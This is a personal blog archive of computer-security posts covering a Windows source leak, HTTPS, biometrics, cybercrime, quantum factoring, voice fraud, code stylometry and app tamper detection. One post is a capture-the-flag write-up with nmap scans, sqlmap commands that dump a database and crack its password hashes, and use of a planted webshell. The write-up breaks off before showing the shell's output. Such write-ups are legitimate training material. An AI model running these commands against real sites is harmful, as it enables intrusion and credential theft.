Suramya's Blog : Welcome to my crazy life…

October 1, 2020

Windows XP and Server 2003 successfully compiled from leaked source code

Filed under: Computer Security,Computer Software — Suramya @ 9:39 AM

Last week in a major leak the source code for Windows XP & Windows Server 2003 was leaked on the Internet via the 4chan website. Post which it propagated like wildfire across the internet via torrents & mirrors. There were some doubts cast about the authenticity of the leak but knowledgeable folks who reviewed the code claimed that the leak looked authentic.

Now a developer who goes by the name NTDEV successfully compiled Windows XP from the leaked source code. Unfortunately it looks like the XP source code is missing some important files due to which they were unable to compile critical files such as Winlogon.exe. Which makes it impossible to install the compiled Windows XP to try it out. Fortunately they had better luck with the Windows Server 2003 source code and were able to install the compiled copy on a VM successfully.

NTDEV posted a 22 min video showcasing their journey and you can check it out here if you are interested. Their Twitter feed has more information and screenshots of their process & proof.

You can probably expect a lot more information & details on the source to be published over the next few weeks as people go over the code and then start publishing their findings.

– Suramya

September 17, 2020

How HTTPS Works? Explained in a comic!

Filed under: Computer Security,Security Tutorials — Suramya @ 10:41 AM

Found a fantastic explanation of HTTPS works, what is SSL/TLS & why you should care about any of it in a easy to understand comic format. I love seeing comics like this that aim to show concepts in simple ways.

Have you ever wondered why a green lock icon appears on your browser URL bar? And why is it important? We did too, and this comic is for you!
Follow the adventures of Certificat, Browserbird, and Compugter as they explain why HTTPS is crucial for the future of the web and how it all works together.
Don’t let the bad crabs get you (you’ll know what we mean in the comic). Get to know HTTPS and why it is essential to your privacy.

Check it out at: howhttps.works

– Suramya

August 25, 2020

Using Bioacoustic signatures for Identification & Authentication

We have all heard about Biometric scanners that identify folks using their fingerprints, or Iris scan or even the shape of their ear. Then we have lower accuracy authenticating systems like Face recognition, voice recognition etc. Individually they might not be 100% accurate but combine one or more of these and we have the ability to create systems that are harder to fool. This is not to say that these systems are fool proof because there are ways around each of the examples I mentioned above, our photos are everywhere and given a pic of high enough quality it is possible to create a replica of the face or iris or even finger prints.

Due to the above mentioned shortcomings, scientists are always on lookout for more ways to authenticate and identify people. Researchers from South Korean have found that the signature created when sound waves pass through humans are unique enough to be used to identify individuals. Their work, described in a study published on 4 October in the IEEE Transactions on Cybernetics, suggests this technique can identify a person with 97 percent accuracy.

“Modeling allowed us to infer what structures or material features of the human body actually differentiated people,” explains Joo Yong Sim, one of the ETRI researchers who conducted the study. “For example, we could see how the structure, size, and weight of the bones, as well as the stiffness of the joints, affect the bioacoustics spectrum.”

[…]

Notably, the researchers were concerned that the accuracy of this approach could diminish with time, since the human body constantly changes its cells, matrices, and fluid content. To account for this, they acquired the acoustic data of participants at three separate intervals, each 30 days apart.

“We were very surprised that people’s bioacoustics spectral pattern maintained well over time, despite the concern that the pattern would change greatly,” says Sim. “These results suggest that the bioacoustics signature reflects more anatomical features than changes in water, body temperature, or biomolecule concentration in blood that change from day to day.”

Interestingly, while the setup is not as accurate as Fingerprints or Iris scans it is still accurate enough to differentiate between two fingers of the same hand. If the waves required to generate the Bioacoustic signatures are validated to be safe for humans over long term use, then it is possible that we will soon see a broader implementation of this technology in places like airports, buses, public area’s etc to identify people automatically without having to do anything. If it can be made portable then it could be used to monitor protests, rallies, etc which would make it a privacy risk.

The problem with this tech is that it would be harder to fool without taking steps that would make you stand out like wearing a vest filled with liquid that changes your acoustic signature. Which is great when we are just talking about authentication/identification for access control but becomes a nightmare when we consider the surveillance aspect of usage.

Source: The Bioacoustic Signatures of Our Bodies Can Reveal Our Identities

– Suramya

August 6, 2020

Thoughts on Cybercrime in the Covid world

Filed under: Computer Security,My Thoughts — Suramya @ 1:07 PM

The Cyber Security industry has seen a massive boost during the current pandemic, with users working remotely for the first time and permissions granted on the fly the Security teams in the enterprise have been working round the clock to ensure critical data and systems are secure. But due to the general chaos of Covid combined with the need to keep businesses running there are systems that have been less than optimally configured.

All this gives us the impression that the Cybercrime world must be thriving in the current environment. But apparently that is not always the case, the Cambridge Cybercrime Centre has released a series of reports on how the Pandemic has impacted cybercrime. The reports are a fascinating read as they show how even the criminals are facing hardships due to the pandemic. For example, below is an extract from the report on the impact on International drug trade due to the shipping disruptions caused by lockdowns.

“The initial wave of COVID lockdowns in China caused substantial disruption to international shipping,compounded by the subsequent lockdowns in the rest of the world. Despite their ‘online’ character, drugscryptomarkets (online markets for legal and illegal drugs which are accessed securely through anonymitynetworks such as Tor) are reliant on the postal and shipping services for the delivery of drugs and precursorsto suppliers and end users. We have observed, in our scraped datasets of illicit online forums and discussionboards, evidence of significant disruption of these pathways, and a range of effects on these illicit markets.At the initial peak of lockdown measures, shipping times (especially in international routes which passedthrough China) were being routinely delayed by up to three months (as reported in cryptomarket discussions).This caused significant friction to international orders for postal drug delivery, with many dealers reportingthat they were switching to orders within the same nation only, and others struggling to source supply.”

Brian Kerbs from Kerbs on Security wrote a comprehensive article on How Cybercriminals are Weathering COVID-19 and its worth a read as well.

But apparently a number of criminal reshipping services are reporting difficulties due to the increased wait time when calling FedEx or UPS (to divert carded goods that merchants end up shipping to the cardholder’s address instead of to the mule’s). In response, these operations are raising their prices and warning of longer shipping times, which in turn could hamper the activities of other actors who depend on those services.

That’s according to Intel 471, a cyber intelligence company that closely monitors hundreds of online crime forums. In a report published today, the company said since late March 2020 it has observed several crooks complaining about COVID-19 interfering with the daily activities of their various money mules (people hired to help launder the proceeds of cybercrime).

The same is happening for real world crime also, Jani was telling me about this article on Goa where the local drug dealers are out of job because no tourists are visiting so they all are now selling fish to survive.

Well this is all for now. Will write more later.

– Suramya

October 15, 2019

Theoretical paper speculates breaking 2048-bit RSA in eight hours using a Quantum Computer with 20 million Qubits

Filed under: Computer Security,My Thoughts,Quantum Computing — Suramya @ 12:05 PM

If we manage to get a fully functional Quantum Computer with about 20 million Qubits in the near future then according to this theoretical paper we would be able to factor 2048-bit RSA moduli in approximately eight hours. The paper is quite interesting, although the math in did give me a headache. However this is all still purely theoretical as we only have 50-60 qBit computers right now and are a long way away from general purpose Quantum computers. That being said I anticipate that we would be seeing this technology being available in our lifetime.

We significantly reduce the cost of factoring integers and computing discrete logarithms over finite fields on a quantum computer by combining techniques from Griffiths-Niu 1996, Zalka 2006, Fowler 2012, EkerÃ¥-HÃ¥stad 2017, EkerÃ¥ 2017, EkerÃ¥ 2018, Gidney-Fowler 2019, Gidney 2019. We estimate the approximate cost of our construction using plausible physical assumptions for large-scale superconducting qubit platforms: a planar grid of qubits with nearest-neighbor connectivity, a characteristic physical gate error rate of 10−3, a surface code cycle time of 1 microsecond, and a reaction time of 10 micro-seconds. We account for factors that are normally ignored such as noise, the need to make repeated attempts, and the spacetime layout of the computation. When factoring 2048 bit RSA integers, our construction’s spacetime volume is a hundredfold less than comparable estimates from earlier works (Fowler et al. 2012, Gheorghiu et al. 2019). In the abstract circuit model (which ignores overheads from distillation, routing, and error correction) our construction uses 3n+0.002nlgn logical qubits, 0.3n3+0.0005n3lgn Toffolis, and 500n2+n2lgn measurement depth to factor n-bit RSA integers. We quantify the cryptographic implications of our work, both for RSA and for schemes based on the DLP in finite fields.

Bruce Schneier talks about how Quantum computing will affect cryptography in his essay Cryptography after the Aliens Land. In summary “Our work on quantum-resistant algorithms is outpacing our work on quantum computers, so we’ll be fine in the short run. But future theoretical work on quantum computing could easily change what “quantum resistant” means, so it’s possible that public-key cryptography will simply not be possible in the long run.”

Well this is all for now will post more later

– Suramya

September 5, 2019

Criminals use AI technology to impersonate CEO for a $243,000 payday

Filed under: Computer Security,My Thoughts,Techie Stuff — Suramya @ 10:46 AM

Over the past few years AI has become one of the things that is included in everything from cars to lights whether it makes sense or not and criminals are not behind in this trend. We have AI based systems testing computer security, working on bypassing checks and balances in systems etc and now in a new twist, AI is being used in Vishing as well. Voice phishing or vishing as it’s sometime referred to is a form of criminal phone fraud, using social engineering over the telephone system to gain access to private personal and financial information for the purpose of financial reward.

Anatomy of Vishing Attack
Anatomy of Vishing Attack. Source: https://www.biocatch.com/blog/detect-vishing-voice-phishing

In this particular instance criminals used commercially available voice-generating AI software to impersonate the CEO of a German Company and then convinced the CEO of their UK based subsidiary to transfer $243,000 to a Hungarian supplier. The AI was able to mimic the voice almost perfectly including his slight German accent and voice patterns. This is a new phase of crime and unfortunately will not be a one-off case as criminals will soon realize the potential then these kind of attacks are only bound to increase in frequency. Interestingly it will also make the biometric voice authentication systems used by certain banks like Citibank more vulnerable to fraud.

To safeguard from the economic and reputational fallout, it’s crucial that all instructions are verified via a follow-up email or other alternative means i.e. if you have an email asking for a transfer/detail call the person and if you get a call asking for transfer follow up via email or other means. Do not use a number provided by the call for verification, you need to call the number in the company address-book or in your records.

Well this is all for now. Will post more later.

Thanks to : Slashdot.org for the original link.

– Suramya

August 23, 2018

Identifying Programmers by their Coding Style

Filed under: Computer Security,Computer Software,Techie Stuff — Suramya @ 8:42 PM

There is an interesting development in the field of identifying people by what they write. As some of you may already know researchers have been able to identify who wrote a particular text based on the analysis of things like word choice, sentence structure, syntax and punctuation using a technique called stylometry for a while now but it was limited to natural languages and not artificial ones like programming languages.

Now there is new research by Rachel Greenstadt & Aylin Caliskan who are professors of computer science at Drexel University & at George Washington University respectively that proves that code, like other forms of writing is not anonymous. They used Machine Learning algorithms to de-anonymize coders and the really cool part is that they can do this even with reverse compiled code from Binaries with a reasonable level of confidence. So you don’t need access to the original source code to be able to identify who coded it. (Assuming that we have code samples from them in the training DB)

Here’s a simple explanation of how the researchers used machine learning to uncover who authored a piece of code. First, the algorithm they designed identifies all the features found in a selection of code samples. That’s a lot of different characteristics. Think of every aspect that exists in natural language: There’s the words you choose, which way you put them together, sentence length, and so on. Greenstadt and Caliskan then narrowed the features to only include the ones that actually distinguish developers from each other, trimming the list from hundreds of thousands to around 50 or so.

The researchers don’t rely on low-level features, like how code was formatted. Instead, they create “abstract syntax trees,” which reflect code’s underlying structure, rather than its arbitrary components. Their technique is akin to prioritizing someone’s sentence structure, instead of whether they indent each line in a paragraph.

This is both really cool and a bit scary because suddenly we have the ability to identify who wrote a particular piece of code. This removes or atleast reduces the ability of people to release code/software anonymously. This is a good thing when we look at a piece of Malware or virus because now we can find out who wrote it making it easier to prosecute cyber criminals.

However the flip side is that we can now also identify people who write code to secure networks, bypass restrictive regime firewalls, create privacy applications etc. There are a lot of people who contribute to opensource software but don’t want to be identified for various reasons. For example if a programmer in China created a software that allows a user to bypass the Great Firewall of China they would definitely not want the Chinese government to be able to identify them for obvious reasons. Similarly there are folks who wrote some software that they do not want to be associated with their real name for some reason and this would make it more difficult for them to do so.

But this is not the end of the world, there are ways around this by using software to scramble the code. I don’t think many such systems exist right now or if they do they are at a nacent stage. If this research is broadly applied to start identifying coders then the effort to write such scramblers would take high priority and lots of very smart people would start focusing their efforts to invalidate the detectors.

Well this is all for now. Will write more later.

– Suramya

Original source: Schneier’s Blog

February 13, 2018

Explaining HTTPS using carrier pigeons

Filed under: Interesting Sites,Security Tutorials,Techie Stuff — Suramya @ 7:07 PM

HTTPS is something that a lot of people find hard to explain without going into a lot of technical jargon which frankly just confuses most people and causes them to zone out. However it is an essential service/protocol so understanding it is a good idea. To address this issue Andrea Zanin who is a student created the following primer that explains how HTTPS works using carrier pigeons as the messengers.

Below is an explanation on how HTTP would work with carrier pigeons:

If Alice wants to send a message to Bob, she attaches the message on the carrier pigeon’s leg and sends it to Bob. Bob receives the message, reads it and it’s all is good.

But what if Mallory intercepted Alice’s pigeon in flight and changed the message? Bob would have no way of knowing that the message that was sent by Alice was modified in transit.

This is how HTTP works. Pretty scary right? I wouldn’t send my bank credentials over HTTP and neither should you.

Check out the link for the full writeup.

Well, this is all for now. Will write more later.

– Suramya

February 7, 2018

Hacking the Brainwaves Cyber Security CTF Hackathon 2018

Earlier this year I took part in the Brainwaves Cyber Security Hackathon 2018 with Disha Agarwala and it was a great experience. We both learnt a lot from the hackathon and in this post I will talk about how we approached the problems and some of our learning’s from the session.

Questions we had to answer/solve in the Hackathon:

  • Find the Webserver’s version and the Operating system on the box
  • Find what processes are running on the server?
  • What fuzzy port is the SSH server running on?
  • Discover the site architecture and layout.
  • Describe the major vulnerability in the home page of the given website based on OWASP TOP 1. Portal Url: https://socgen-ctf.0x10.info
  • Gain access to member area and admin area through blind sql, or session management.
  • Dump all user account from member area. [SQLi]
  • [Broken Validation] Demonstrate how you can modify the limit in order management.
  • [Open Redirect] Redirect site/page to hackerearth.com
  • List any other common bug came across while on the site
    • After logging into the member area, perform the following functions:
    • Find the master hash & crack it
    • Dump all user’s
    • Find the email ID and password of saved users

Information Gathering:

In order to find the services running on the server, the first thing we had to do was find the IP/hostname of the actual server hosting the site which was a bit tricky because the URL provided is protected by CloudFlare. So, any scans of socgen-ctf.0x10.info took us to the CloudFlare proxy server instead of the actual server which was a problem.

We figured this out by trying to access the IP address that socgen-ctf.0x10.info translated to in the browser.

suramya@gallifrey:~$ host socgen-ctf.0x10.info 
socgen-ctf.0x10.info has address 104.28.15.64 

Since the site homepage didn’t do anything except display text that refreshed every 15 seconds we needed to find other pages in the site to give us an a attack surface. We checked to see if the site had a robots.txt (It tells web crawlers not to index certain directories). These directories are usually ones that have sensitive data and in this case the file existed with the following contents:

# robots.txt
Sitemap: http://socgen-ctf.0x10.info/sitemap.xml
User-agent: *
Disallow: images
Disallow: /common/
Disallow: /cgi-bin/

The images directory didn’t have any interesting files in it but the /common/ directory on the other hand had a file named embed.php in it which basically ran a PHP Info dump. This dump has a lot of information that can be used to attack the site but the main item we found here was the IP address of the actual server where the services were running (38.109.218.93).

Using this information we were able to initiate a nmap scan to get the services running on the site. The nmap command that gave us all the information we needed was:

nmap -sV -O -sS -T4 -p 1-65535 -v 38.109.218.93

This gave us the following result set after a really really long run time:

PORT     STATE    SERVICE       VERSION
23/tcp   filtered telnet
25/tcp   open     smtp?
80/tcp   open     http          This is not* a web server, look for ssh banner
81/tcp   open     http          nginx 1.4.6 (Ubuntu)
82/tcp   open     http          nginx 1.4.6 (Ubuntu)
137/tcp  filtered netbios-ns
138/tcp  filtered netbios-dgm
139/tcp  filtered netbios-ssn
445/tcp  filtered microsoft-ds
497/tcp  filtered retrospect
1024/tcp open     kdm?
1720/tcp open     h323q931?
2220/tcp open     ssh           OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
2376/tcp open     ssl/docker?
3380/tcp open     sns-channels?
3389/tcp open     ms-wbt-server xrdp
5060/tcp filtered sip
5554/tcp filtered sgi-esphttp
8000/tcp open     http          nginx 1.4.6 (Ubuntu)
8080/tcp open     http          Jetty 9.4.z-SNAPSHOT
8086/tcp open     http          nginx 1.10.3 (Ubuntu)
9090/tcp open     http          Transmission BitTorrent management httpd (unauthorized)
9996/tcp filtered palace-5
19733/tcp filtered unknown
25222/tcp filtered unknown
30316/tcp filtered unknown
33389/tcp open     ms-wbt-server xrdp
33465/tcp filtered unknown
34532/tcp filtered unknown
35761/tcp filtered unknown
35812/tcp filtered unknown
35951/tcp filtered unknown
37679/tcp filtered unknown
38289/tcp filtered unknown
38405/tcp filtered unknown
38995/tcp filtered unknown
40314/tcp filtered unknown
44194/tcp filtered unknown
47808/tcp filtered bacnet

For some reason the results from the nmap scan varied so we had to run the scan multiple times to get all the services on the host. This was possibility because the server was setup to make automated scanning more difficult.

Once we identified the port where the SSH server was running on (2220) we were able to connect to the port and that gave us the exact OS Details of the server. We did already know that the server was running Ubuntu along with the kernel version from the PHP Info dump but this gave us the exact version.

Discovering Site architecture:

Since we had to discover the URL to the members & admin area before we could attack it, we used dirb which is a Web Content Scanner to get the list ofall the public directories/files on the site. This gave us the URL’s to several interesting files and directories. One of the files identified by dirb was https://socgen-ctf.0x10.info/sitemap.xml. When we visited the link it gave us a list of other URL’s on the site of interest (we had to replace the hostname to socgen-ctf.0x10.info) including the members area (http://socgen-ctf.0x10.info/members.php?p=login) and siteadmin (http://socgen-ctf.0x10.info/siteadmin).

After a long and fruitless effort to use SQL Injection on the siteadmin area we started to explore the other files/URL’s identified by dirb. This gave us a whole bunch of files/data that seem to be left over from other hackathons so we ignored them.

SQL Injection

The main site https://socgen-ctf.0x10.info/index.php?p=. appeared to be vulnerable to SQL at the first glance because when we visit https://socgen-ctf.0x10.info/index.php?p=.’ (note the trailing single quote) it reloads the page. This meant that we could write queries to it however since it didn’t display a true or false on the page a SQL injection wasn’t easily possible. (We could have tried a blind injection but that would require a lot of effort for a non-guaranteed result.

As we explored the remaining URL’s in sitemap.xml one of the links (https://socgen-ctf.0x10.info/embedframe.php) was interesting as it appeared to give a dump of data being read from the site DB. Opening the site while watching the Developer Toolbar for network traffic identified a URL that appeared to be vulnerable to SQL injection (https://socgen-ctf.0x10.info/ajax.php?cid=&p=view_channel&id=28) and once we tested the url we found that the variable id was indeed vulnerable to injection.

We used blind sql to gain access by executing true and false statements and see that it returns different results for true(displays ‘1’ on the webpage) and false (displays 0) . We checked whether a UNION query runs on the site which it did and using other queries we identified the DB backend to be a mysql database (5.xx.xxx version). Then we found out the table name (members) which was an easy guess since the website had an add customer field. After identifying the number of columns in the table we got stuck because any statements to list the available tables or extract data were failing with an error about inconsistent column numbers.

Finally, we ran sqlmap which is an open source tool for automating SQL injection. It took us a few tries to get the software running because initially any attempt to scan the site was rejected with a 403 error message. Turns out that the connections were being rejected because the site didn’t like the useragent the software was sending by default and adding a flag to randomize the useragent resolved the permission denied issue.

Once the scan ran successfully we tried to get access to the MySQL usertable but that failed because the user we were authenticating as to the MySQL server didn’t have access to the table required.

sqlmap -u 'https://socgen-ctf.0x10.info/ajax.php?cid=&p=view_channel&id=28' --random-agent -p id --passwords

So, then we tried getting an interactive shell and an OOB shell both of which failed. We finally ran the command to do a full dump of everything that the system allowed us to export using SQL injection via SQLMap. This included the DB schema, table schema’s and a dump of every table on the database server which the mysql user had access to. The command we used is the following:

sqlmap -u 'https://socgen-ctf.0x10.info/ajax.php?cid=&p=view_channel&id=28' --random-agent -p id  --all --threads 3

This gave us a full dump of all the tables and the software was helpful enough to identify password hashes when they existed in the table and offered to attempt decryption as well. In this case the password was encrypted with a basic unsalted MD5 hash which was cracked quite easily. Giving us the password for the first two accounts in the database (admin & demo).

Looking at the rest of the entries in the users table we noticed that they all had funny values in the email address field, instead of a regular email address we had entries that looked like the following:

,,,"0000-00-00 00:00:[email protected]509a6f75849b",1
,1,RU,

As we had no clue what this was about the first thing we attempted was to access the
https://socgen-ctf.0x10.info/cdn-cgi/l/email-protection URL. This URL gave us a message that told us that the email addresses in the DB were obfuscated by CloudFlare to protect them from Bots. A quick Google search gave us a 21 line python script which we tweaked to convert all the hash to email address and passwords. (The code is listed below for reference)

#! /usr/bin/env python 
# -*- coding: utf-8 -*- 
# vim:fenc=utf-8 
# 
# Copyright © 2016 xl7dev  
# Distributed under terms of the MIT license. 

""" 

""" 
import sys 
import re 
fp = sys.argv[1] 
def deCFEmail(): 
   r = int(fp[:2],16) 
   email = ''.join([chr(int(fp[i:i+2], 16) ^ r) for i in range(2, len(fp), 2)]) 
   print email 
if __name__ == "__main__":                                                                                                                                                                       
   deCFEmail() 

This gave us the email addresses and passwords for all the users on the site. Since the accounts appeared to be created by SQL injection a bunch of them didn’t have any passwords but the remaining were valid accounts for the most part and we verified a couple by logging in manually with the credentials.

OWASP TOP 10 Vulnerability

To find the vulnerabilities in the home page we tried various manual techniques at first but drew a blank so we decided to use the owasp-zap. This tool allows you to automatically scan for vulnerabilities in a given URL along with a whole other stuff.

At first the scan failed because of the same issue as earlier with the user-agent. This time we took a different approach to resolve the issue by configuring owasp-zap as a proxy server and configuring Firefox traffic to use this proxy server for all traffic. This gave us the site in the software and we were then able to trigger both an active scan and spider scan of the site.

This gave us detailed reports that highlighted various issues in the site which we submitted.

Redirecting HomePage

The redirection of the home page was quite simple. We tried inserting a customer name with javascript tags in it and were able to do so successfully. So we inserted the following into the DB and the system automatically redirected the page when the Customer list section was accessed.

Other Interesting Finds

The nmap scan told us that in addition to port 80 a web server was listening on ports 81, 82, 8000, 8080 and 8086.

Ports 82, 8000 and 8086 were running standard installs of nginx and we didn’t find much of interest at these ports even after we ran dirb on all of them. Port 8080 appeared to be running a proxy or a Jenkins instance.

Port 81 was the most interesting because it was running a nginx server that responded to any queries with a 403 error. When we tried accessing the site via the browser we got an error about corrupted content.

We were unable to identify what the purpose of this site was but it was interesting.

SSH Banner / PHP Shell

The webserver instance running on port 80 had the version set to the following text “This is not* a web server, look for ssh banner Server at private-tunel.wehostservers.ru Port 80” so we went back and investigated the SSH Banner from the ssh server on port 2220. The banner was encrypted and to decrypt the SSH banner, we continuously converted the cipherText from its hex value to ASCII value . It gave us the following results on each conversion

3333333733333333333333373333333333333336333333383333333233333330333333363333333233333336333333313333333633363335333333363336333533333336333333353
3333337333333323333333233333330333333363333333633333336333633363333333733333332333333373333333733333336333333313333333733333332333333363333333433333332333333303333
3337333333333333333633363333333333363333333133333337333333333333333633333338333333323333333033333336333333333333333633363336333333373333333533333336333633333333333
63333333433333332333333303333333633363333333333363333333533333336333333313333333633333334333733393336363633373335373436663230363132307368336c6c2e706870

3337333333373333333633383332333033363332333633313336363533363635333633353337333233323330333633363336363633373332333733373336333133373332333633343332333033373333333
636333336333133373333333633383332333033363333333636363337333533363633333633343332333033363633333633353336333133363334373936663735746f206120sh3ll.php
 37333733363832303632363136653665363537323230363636663732373736313732363432303733366336313733363832303633366637353663363432303663363536313634796f75to a #

ssh banner forward slash could lead you to a #sh3ll.php

Once we got the full decrypted text we knew that there was a potential webshell on the server but it wasn’t apparent where the shell was located. After hit and try failed we turned back to our old faithful dirb to see if it could find the shell.

dirb allows us to specify a custom word list which is used to iterate through the paths and we can also append an extension to each of the words to search for, so we created a file called test with the following content:

suramya@gallifrey:~$ cat test 
shell
sh3ll
sh311

and then ran the following command:

suramya@gallifrey:~$ dirb https://socgen-ctf.0x10.info/ test  -X '.php'

This gave us the location of the shell.


Accessing the link gave us a page with a message “you found a shell, try pinging google via sh3ll.php?exec=ping 8.8.8.8”

Accessing the URL with the additional parameter gave us a page with the following output:

January 29, 2018

How can we secure a Client App so that the server side can detect tampering?

Filed under: Computer Security,My Thoughts — Suramya @ 5:09 PM

If you have been following ADHAAR in the News/Social Media recently then you must have seen the posts by some prominent cyber security folks about basic security issues with Adhaar. I couldn’t resist chiming in with my two cents and pretty soon the conversation switched from the glaring security issues with Adhaar to how we could secure applications when the client could not be trusted. Sushil Kambampati had some interesting questions on this topic and we tried having a discussion on Twitter itself for a short while but since twitter is not the best medium for long winded conversations we switched to email pretty soon and the following is a summary/expansion of my conversation with him.

Special thanks to Sushil for asking the two questions listed below thereby motivating me to write this post. Please note that all the items below are my personal thoughts and I don’t claim to know everything so some of the things below might not be the best option or might require additional safeguards beside the ones I talk about.

What are the risks if the client has been modified by an attacker?

The possibilities are endless if an app has been modified and can still successfully communicate to the server backend. The attackers can tamper with it to install a backdoor on an app, re-sign it and publish the malicious version to third-party app marketplaces. They can also change the app to query the server in ways that the designer didn’t expect. e.g. query the DB for all possibly values of the Adhaar no (as an example) to identify valid values. They can also attempt to perform SQL injection attacks/other attacks on the server by sending it data that it doesn’t expect.

How can the server-code detect whether the client app has been modified?

This is a very interesting problem and there is no foolproof method to ensure that the local client hasn’t been modified. However that said we can always make it harder for the attacker to modify the app. Some ways we can detect tampering are listed below along with potential ways to bypass the checks. (I am going to talk about app side checks in addition to server side since both need to be performed to secure the app). I specifically talk about Android applications here but the same is valid for any server/client system where the client can’t necessarily be trusted (and if your client is installed on a machine you don’t control then it def can’t be trusted).

  • We add code obfuscation/shrink the code using Proguard.This makes it more difficult (though certainly not impossible) to reverse engineer the code by making it harder to read a stack trace because the method names are obfuscated. Other things we can do to harden the app is to include checks to detect if the app is running in a virtual environment (emulator) and abort runs. This check should not be an easy thing to disable e.g. by setting a flag, instead the build process should add the check when building the release version or something similar while making it as hard as possible to disable. Finally we should ensure that all debug code is stripped out from the build when creating the release version. This will make it harder for the attacker.

    The communication between Server & Client should be over a secure/encrypted channel (use HTTPS not HTTP), all local data should be encrypted with a unique password that is generated at runtime (1st run) using a random seed.

  • We have the app send a checksum that the server verifies everytime an API call is made.
  • This is a very basic check that is fairly simple to bypass as any competent attacker will also modify the app to send the correct checksum value even though the actual checksum value is different.

  • Have the Server request for a byte string from a random location in the APP e.g. send me 100 bytes starting from byte # 2000 from the beginning of the file. This check would fail if any changes are made to the file in the section that the check queried.
  • The issue is that there is a high probability that the check location requested by the server is not for the location that the attacker has modified. Also, if the attacker is sufficently motivated they can append a copy of the original App to the tampered app and then modify the check function to return the values from the original app when the server attempts to verify the integrity.

  • Verifying your app’s signing certificate at runtime.
  • All applications in the Appstore are signed with a developers private key and the app signature will be broken if the APK is modified. By default android will not allow you to install an app where the signature doesn’t match. However you can potentially bypass it by changing the code / value you are checking against. Also, the app can still be installed manually if the phone is rooted.

  • Verifying the installer
  • Each app contains the identifier of the app which installed it. Therefore, with a very simple check you could have your app verify the installer ID. This can be an in app check and also triggered by a server API call. However with access to the code (by reverse engineering the app) this check could potentially be commented out.

  • Monitor your server side logs
  • This is very important, because any attempts to hack the server/bypass restrictions will leave a trace in your logs. If you have configured good log monitoring rules then this can act as an indicator of someone trying to hack your application. Then you have the option of putting countermeasures into action like blacklisting etc.

Hope this all makes sense. Please let me know if you have any further questions by posting a comment below or emailing me.

Regards,

Suramya

Older Posts »

Powered by WordPress